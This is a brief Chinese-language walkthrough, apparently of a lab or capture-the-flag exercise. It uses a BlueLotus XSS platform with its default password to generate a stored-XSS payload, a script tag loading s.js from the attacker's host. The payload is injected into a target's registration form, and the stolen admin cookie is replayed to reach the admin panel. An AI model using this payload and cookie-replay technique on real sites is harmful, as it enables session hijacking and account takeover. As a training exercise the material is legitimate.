http://117.167.136.240:10080/admin.php 默认登录密码：bluelotus
http://117.167.136.240:38001/ 找输入口 找到输入口在register 弹出框如下： 添加新的default模板并生成payload 复制payload： <script src="http://117.167.136.240:10080/myjs/s.js"></script> 成功得到cookie 到靶机管理员界面 http://117.167.136.240:38001/admin/ 修改得到的cookies 成功进入管理员界面。
